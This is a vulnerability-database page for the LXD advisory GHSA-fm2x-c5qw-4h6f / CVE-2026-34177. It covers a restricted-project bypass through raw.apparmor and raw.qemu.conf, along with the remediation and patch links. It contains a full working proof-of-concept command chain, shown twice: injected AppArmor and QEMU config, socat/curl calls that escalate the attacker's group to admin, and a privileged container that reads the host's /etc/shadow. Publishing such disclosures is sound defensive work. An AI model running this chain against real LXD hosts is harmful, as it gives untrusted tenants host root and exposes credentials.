Vulnerability-Lookup

GHSA-FM2X-C5QW-4H6F

Vulnerability from github – Published: 2026-04-10 19:21 – Updated: 2026-04-10 19:21

Summary

LXD: VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf

Details

Summary

The isVMLowLevelOptionForbidden function in lxd/project/limits/permissions.go is missing raw.apparmor and raw.qemu.conf from its hardcoded forbidden list. A user with can_edit permission on a VM instance in a restricted project can combine these two omissions to bridge the LXD unix socket into the guest VM and gain full cluster administrator access. This bypasses the restricted.virtual-machines.lowlevel=block project restriction, which is the security control specifically designed to prevent raw config injection.

Details

Affected code

The enforcement point for VM lowlevel restrictions is isVMLowLevelOptionForbidden at lxd/project/limits/permissions.go:924-926:

func isVMLowLevelOptionForbidden(key string) bool {
    return slices.Contains([]string{"boot.host_shutdown_timeout", "limits.memory.hugepages", "raw.idmap", "raw.qemu"}, key)
}

This list is missing two security-critical config keys:

raw.apparmor -- allows injecting arbitrary AppArmor rules into the QEMU process confinement profile
raw.qemu.conf -- allows injecting arbitrary sections into the QEMU configuration file

The container equivalent (isContainerLowLevelOptionForbidden at line 916) correctly includes raw.apparmor in its forbidden list.

Attack mechanism

Both raw.apparmor and raw.qemu.conf are valid VM config keys (defined in lxd/instance/instancetype/instance.go). When a restricted user sets them on a VM in a project with restricted.virtual-machines.lowlevel=block, the entity config checker at line 779 calls isVMLowLevelOptionForbidden for each key, which returns false for both. The config is accepted without error.

On VM startup:

instanceProfile (lxd/apparmor/instance.go:150) reads raw.apparmor from the expanded config and injects it verbatim into the QEMU AppArmor profile template (lxd/apparmor/instance_qemu.go:114-118). An attacker-supplied rule like /var/snap/lxd/common/lxd/unix.socket rw, grants the QEMU process read-write access to the LXD unix socket.
qemuRawCfgOverride (lxd/instance/drivers/driver_qemu_config_override.go:242) reads raw.qemu.conf and appends new sections to the generated QEMU config. The attacker adds a [chardev] section with backend = "socket" pointing at the LXD unix socket, and a [device] section creating a virtserialport connected to it.
QEMU starts with -readconfig containing the injected drive definition. The QEMU process connects to /var/snap/lxd/common/lxd/unix.socket (permitted by the injected AppArmor rule) and exposes the connection as /dev/virtio-ports/lxd.exploit inside the VM.

The exposed socket grants full administrative access to the entire LXD cluster, which can be used to create privileged containers, mount the host root filesystem, and escape to host root.

Affected deployments

Any LXD deployment where:

A project has restricted=true and restricted.virtual-machines.lowlevel=block (the default when restricted=true)
A user has can_edit on a VM instance in that project (also implied by project-level operator, can_edit_instances, or instance_manager entitlements)

The minimum required entitlements are can_create_instances (to create a VM), can_edit on the instance (to set config keys -- lxc config set), can_update_state (to start the VM), and can_exec (to read the block device from inside the VM). Any of the broader project-level roles (operator, instance_manager) include all of these.

This includes the lxd-user multi-user daemon (shipped in the LXD snap), which auto-creates restricted projects for system users, and any multi-tenant, lab, CI/CD, or hosting deployment using restricted projects. These users are explicitly untrusted -- the restriction model exists to safely confine them. The LXD documentation states that restricted projects "prevent users from gaining root access" (doc/howto/projects_confine.md).

Version

Tested and confirmed on LXD 6.7.

PoC

The exploit requires two roles: an admin who sets up the restricted environment (once), and a restricted user who exploits it.

Admin setup (run on the LXD host)

# Create restricted project
# restricted.virtual-machines.lowlevel defaults to "block" when restricted=true
lxc project create poc-restricted \
    -c features.profiles=true \
    -c features.images=false \
    -c restricted=true

# Create default profile with storage and network
lxc profile create default --project poc-restricted
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Create auth group with minimum entitlements needed for the exploit:
#   can_view              - required to reference the project in other permissions
#   can_create_instances  - create the VM
#   can_edit_instances    - set config keys (implies can_edit on all instances)
#   can_operate_instances - start the VM and exec into it (implies can_update_state + can_exec)
# These are baseline permissions for any user who manages VMs in a project.
# None of these grant permission to edit the project configuration itself.
lxc auth group create vm-operators
lxc auth group permission add vm-operators project poc-restricted can_view
lxc auth group permission add vm-operators project poc-restricted can_create_instances
lxc auth group permission add vm-operators project poc-restricted can_edit_instances
lxc auth group permission add vm-operators project poc-restricted can_operate_instances

# Create restricted user identity
lxc auth identity create tls/alice --group vm-operators
# Give the output token to alice

Exploit (run as the restricted user "alice", from her own machine)

# Alice adds the remote using the token from admin setup
lxc remote add target <token>

REMOTE="target"
PROJECT="poc-restricted"
VM="poc-069"
SOCKET="/var/snap/lxd/common/lxd/unix.socket"

# Create a stopped VM
lxc init ubuntu:22.04 ${REMOTE}:${VM} --vm --project ${PROJECT}

# Inject AppArmor rule granting QEMU read-write access to the LXD unix socket.
# raw.apparmor is NOT in isVMLowLevelOptionForbidden -- bypasses restriction.
lxc config set ${REMOTE}:${VM} raw.apparmor \
    "  ${SOCKET} rw," --project ${PROJECT}

# Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port.
# raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden.
lxc config set ${REMOTE}:${VM} raw.qemu.conf '[chardev "lxdsock"]
backend = "socket"
path = "/var/snap/lxd/common/lxd/unix.socket"

[device "lxdchan"]
driver = "virtserialport"
chardev = "lxdsock"
bus = "dev-qemu_serial.0"
name = "lxd.exploit"' --project ${PROJECT}

# Start VM -- QEMU connects to the unix socket at startup.
lxc start ${REMOTE}:${VM} --project ${PROJECT}
sleep 30

# Elevate privileges to admin
# (add the "admin" entitlement to alice's group)
lxc exec ${REMOTE}:${VM} --project ${PROJECT} -- bash -c '
apt install -y socat curl
socat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit &
sleep 1
curl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \
    -X PUT -H "Content-Type: application/json" \
    -d "{\"description\":\"\",\"permissions\":[{\"entity_type\":\"server\",\"url\":\"/1.0\",\"entitlement\":\"admin\"}]}"
'

# Create privileged container and mount root filesystem
lxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default
lxc config set ${REMOTE}:pwn-root security.privileged=true --project default
lxc config device add ${REMOTE}:pwn-root hostroot disk \
    source=/ path=/mnt/host --project default
lxc start ${REMOTE}:pwn-root --project default

# Full host root access
lxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow

Impact

Privilege escalation from restricted project user to host root.

The full attack chain is: restricted VM user --> raw.apparmor + raw.qemu.conf injection (bypasses restricted.virtual-machines.lowlevel=block) --> QEMU chardev bridges LXD unix socket into VM as virtio-serial device --> single HTTP request through chardev adds admin entitlement to attacker's own group --> attacker's existing CLI session is now full admin --> create privileged container with host root mount --> host root.

This affects any deployment using LXD's restricted project model for multi-tenant isolation. The attacker requires only can_edit on a VM instance -- the baseline permission needed to manage VM configuration, which restricted projects are explicitly designed to safely grant to untrusted users such as students in shared labs, tenants in hosting environments, or CI/CD agents.

The exploit is trivial, requires no misconfiguration, works against correctly configured restricted projects with default settings, and has no race conditions or reliability concerns.

Remediation

Add raw.apparmor and raw.qemu.conf to the forbidden list in isVMLowLevelOptionForbidden:

func isVMLowLevelOptionForbidden(key string) bool {
    return slices.Contains([]string{
        "boot.host_shutdown_timeout",
        "limits.memory.hugepages",
        "raw.apparmor",
        "raw.idmap",
        "raw.qemu",
        "raw.qemu.conf",
    }, key)
}

Patches

LXD Series	Interim release
6	https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1
5.21	https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1
5.0	https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1
4.0	https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1

Severity ?

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20210305023314-538ac3df036e"
            },
            {
              "last_affected": "0.0.0-20260226085519-736f34afb267"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:21:00Z",
    "nvd_published_at": "2026-04-09T10:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `isVMLowLevelOptionForbidden` function in `lxd/project/limits/permissions.go` is missing `raw.apparmor` and `raw.qemu.conf` from its hardcoded forbidden list. A user with `can_edit` permission on a VM instance in a restricted project can combine these two omissions to bridge the LXD unix socket into the guest VM and gain full cluster administrator access. This bypasses the `restricted.virtual-machines.lowlevel=block` project restriction, which is the security control specifically designed to prevent raw config injection.\n\n## Details\n\n### Affected code\n\nThe enforcement point for VM lowlevel restrictions is `isVMLowLevelOptionForbidden` at `lxd/project/limits/permissions.go:924-926`:\n\n```go\nfunc isVMLowLevelOptionForbidden(key string) bool {\n    return slices.Contains([]string{\"boot.host_shutdown_timeout\", \"limits.memory.hugepages\", \"raw.idmap\", \"raw.qemu\"}, key)\n}\n```\n\nThis list is missing two security-critical config keys:\n\n- **`raw.apparmor`** -- allows injecting arbitrary AppArmor rules into the QEMU process confinement profile\n- **`raw.qemu.conf`** -- allows injecting arbitrary sections into the QEMU configuration file\n\nThe container equivalent (`isContainerLowLevelOptionForbidden` at line 916) correctly includes `raw.apparmor` in its forbidden list.\n\n### Attack mechanism\n\nBoth `raw.apparmor` and `raw.qemu.conf` are valid VM config keys (defined in `lxd/instance/instancetype/instance.go`). When a restricted user sets them on a VM in a project with `restricted.virtual-machines.lowlevel=block`, the entity config checker at line 779 calls `isVMLowLevelOptionForbidden` for each key, which returns `false` for both. The config is accepted without error.\n\nOn VM startup:\n\n1. `instanceProfile` (`lxd/apparmor/instance.go:150`) reads `raw.apparmor` from the expanded config and injects it verbatim into the QEMU AppArmor profile template (`lxd/apparmor/instance_qemu.go:114-118`). An attacker-supplied rule like `/var/snap/lxd/common/lxd/unix.socket rw,` grants the QEMU process read-write access to the LXD unix socket.\n\n2. `qemuRawCfgOverride` (`lxd/instance/drivers/driver_qemu_config_override.go:242`) reads `raw.qemu.conf` and appends new sections to the generated QEMU config.  The attacker adds a `[chardev]` section with `backend = \"socket\"` pointing at the LXD unix socket, and a `[device]` section creating a `virtserialport` connected to it.\n\n3. QEMU starts with `-readconfig` containing the injected drive definition. The QEMU process connects to `/var/snap/lxd/common/lxd/unix.socket` (permitted by the injected AppArmor rule) and exposes the connection as `/dev/virtio-ports/lxd.exploit` inside the VM.\n\nThe exposed socket grants full administrative access to the entire LXD cluster, which can be used to create privileged containers, mount the host root filesystem, and escape to host root.\n\n### Affected deployments\n\nAny LXD deployment where:\n\n- A project has `restricted=true` and `restricted.virtual-machines.lowlevel=block` (the default when `restricted=true`)\n- A user has `can_edit` on a VM instance in that project (also implied by project-level `operator`, `can_edit_instances`, or `instance_manager` entitlements)\n\nThe minimum required entitlements are `can_create_instances` (to create a VM), `can_edit` on the instance (to set config keys -- `lxc config set`), `can_update_state` (to start the VM), and `can_exec` (to read the block device from inside the VM). Any of the broader project-level roles (`operator`, `instance_manager`) include all of these.\n\nThis includes the `lxd-user` multi-user daemon (shipped in the LXD snap), which auto-creates restricted projects for system users, and any multi-tenant, lab, CI/CD, or hosting deployment using restricted projects. These users are explicitly untrusted -- the restriction model exists to safely confine them. The LXD documentation states that restricted projects \"prevent users from gaining root access\" (`doc/howto/projects_confine.md`).\n\n### Version\n\nTested and confirmed on LXD 6.7.\n\n## PoC\n\nThe exploit requires two roles: an admin who sets up the restricted environment (once), and a restricted user who exploits it.\n\n### Admin setup (run on the LXD host)\n\n```bash\n# Create restricted project\n# restricted.virtual-machines.lowlevel defaults to \"block\" when restricted=true\nlxc project create poc-restricted \\\n    -c features.profiles=true \\\n    -c features.images=false \\\n    -c restricted=true\n\n# Create default profile with storage and network\nlxc profile create default --project poc-restricted\nlxc profile device add default root disk path=/ pool=default --project poc-restricted\nlxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted\n\n# Create auth group with minimum entitlements needed for the exploit:\n#   can_view              - required to reference the project in other permissions\n#   can_create_instances  - create the VM\n#   can_edit_instances    - set config keys (implies can_edit on all instances)\n#   can_operate_instances - start the VM and exec into it (implies can_update_state + can_exec)\n# These are baseline permissions for any user who manages VMs in a project.\n# None of these grant permission to edit the project configuration itself.\nlxc auth group create vm-operators\nlxc auth group permission add vm-operators project poc-restricted can_view\nlxc auth group permission add vm-operators project poc-restricted can_create_instances\nlxc auth group permission add vm-operators project poc-restricted can_edit_instances\nlxc auth group permission add vm-operators project poc-restricted can_operate_instances\n\n# Create restricted user identity\nlxc auth identity create tls/alice --group vm-operators\n# Give the output token to alice\n```\n\n### Exploit (run as the restricted user \"alice\", from her own machine)\n\n```bash\n# Alice adds the remote using the token from admin setup\nlxc remote add target \u003ctoken\u003e\n\nREMOTE=\"target\"\nPROJECT=\"poc-restricted\"\nVM=\"poc-069\"\nSOCKET=\"/var/snap/lxd/common/lxd/unix.socket\"\n\n# Create a stopped VM\nlxc init ubuntu:22.04 ${REMOTE}:${VM} --vm --project ${PROJECT}\n\n# Inject AppArmor rule granting QEMU read-write access to the LXD unix socket.\n# raw.apparmor is NOT in isVMLowLevelOptionForbidden -- bypasses restriction.\nlxc config set ${REMOTE}:${VM} raw.apparmor \\\n    \"  ${SOCKET} rw,\" --project ${PROJECT}\n\n# Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port.\n# raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden.\nlxc config set ${REMOTE}:${VM} raw.qemu.conf \u0027[chardev \"lxdsock\"]\nbackend = \"socket\"\npath = \"/var/snap/lxd/common/lxd/unix.socket\"\n\n[device \"lxdchan\"]\ndriver = \"virtserialport\"\nchardev = \"lxdsock\"\nbus = \"dev-qemu_serial.0\"\nname = \"lxd.exploit\"\u0027 --project ${PROJECT}\n\n# Start VM -- QEMU connects to the unix socket at startup.\nlxc start ${REMOTE}:${VM} --project ${PROJECT}\nsleep 30\n\n# Elevate privileges to admin\n# (add the \"admin\" entitlement to alice\u0027s group)\nlxc exec ${REMOTE}:${VM} --project ${PROJECT} -- bash -c \u0027\napt install -y socat curl\nsocat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit \u0026\nsleep 1\ncurl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \\\n    -X PUT -H \"Content-Type: application/json\" \\\n    -d \"{\\\"description\\\":\\\"\\\",\\\"permissions\\\":[{\\\"entity_type\\\":\\\"server\\\",\\\"url\\\":\\\"/1.0\\\",\\\"entitlement\\\":\\\"admin\\\"}]}\"\n\u0027\n\n# Create privileged container and mount root filesystem\nlxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default\nlxc config set ${REMOTE}:pwn-root security.privileged=true --project default\nlxc config device add ${REMOTE}:pwn-root hostroot disk \\\n    source=/ path=/mnt/host --project default\nlxc start ${REMOTE}:pwn-root --project default\n\n# Full host root access\nlxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow\n```\n\n## Impact\n\n**Privilege escalation from restricted project user to host root.**\n\nThe full attack chain is: restricted VM user --\u003e `raw.apparmor` + `raw.qemu.conf` injection (bypasses `restricted.virtual-machines.lowlevel=block`) --\u003e QEMU chardev bridges LXD unix socket into VM as virtio-serial device --\u003e single HTTP request through chardev adds `admin` entitlement to attacker\u0027s own group --\u003e attacker\u0027s existing CLI session is now full admin --\u003e create privileged container with host root mount --\u003e host root.\n\nThis affects any deployment using LXD\u0027s restricted project model for multi-tenant isolation. The attacker requires only `can_edit` on a VM instance -- the baseline permission needed to manage VM configuration, which restricted projects are explicitly designed to safely grant to untrusted users such as students in shared labs, tenants in hosting environments, or CI/CD agents.\n\nThe exploit is trivial, requires no misconfiguration, works against correctly configured restricted projects with default settings, and has no race conditions or reliability concerns.\n\n## Remediation\n\nAdd `raw.apparmor` and `raw.qemu.conf` to the forbidden list in `isVMLowLevelOptionForbidden`:\n\n```go\nfunc isVMLowLevelOptionForbidden(key string) bool {\n    return slices.Contains([]string{\n        \"boot.host_shutdown_timeout\",\n        \"limits.memory.hugepages\",\n        \"raw.apparmor\",\n        \"raw.idmap\",\n        \"raw.qemu\",\n        \"raw.qemu.conf\",\n    }, key)\n}\n```\n\n### Patches\n\n| LXD Series  | Interim release |\n| ------------- | ------------- |\n| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1  |\n| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1  |\n| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |\n| 4.0  | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |",
  "id": "GHSA-fm2x-c5qw-4h6f",
  "modified": "2026-04-10T19:21:00Z",
  "published": "2026-04-10T19:21:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-fm2x-c5qw-4h6f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34177"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/pull/17909"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/canonical/lxd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LXD: VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf"
}

CVE-2026-34177 (GCVE-0-2026-34177)

Vulnerability from cvelistv5 – Published: 2026-04-09 09:15 – Updated: 2026-04-09 12:12

Title

VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf

Summary

Canonical LXD versions 4.12 through 6.7 contain an incomplete denylist in isVMLowLevelOptionForbidden (lxd/project/limits/permissions.go), which omits raw.apparmor and raw.qemu.conf from the set of keys blocked under the restricted.virtual-machines.lowlevel=block project restriction. A remote attacker with can_edit permission on a VM instance in a restricted project can inject an AppArmor rule and a QEMU chardev configuration that bridges the LXD Unix socket into the guest VM, enabling privilege escalation to LXD cluster administrator and subsequently to host root.

Severity ?

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-184 - Incomplete list of disallowed inputs

Assigner

canonical

References

URL

	Vendor	Product	Version
	Canonical	lxd	Affected: 4.12.0 , < 5.0.7 (semver) Affected: 5.1.0 , < 5.21.5 (semver) Affected: 6.0.0 , < 6.8.0 (semver)

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-FM2X-C5QW-4H6F

Summary

Details

Affected code

Attack mechanism

Affected deployments

Version

PoC

Admin setup (run on the LXD host)

Exploit (run as the restricted user "alice", from her own machine)

Impact

Remediation

Patches

CVE-2026-34177 (GCVE-0-2026-34177)

Tags

Sightings

Nomenclature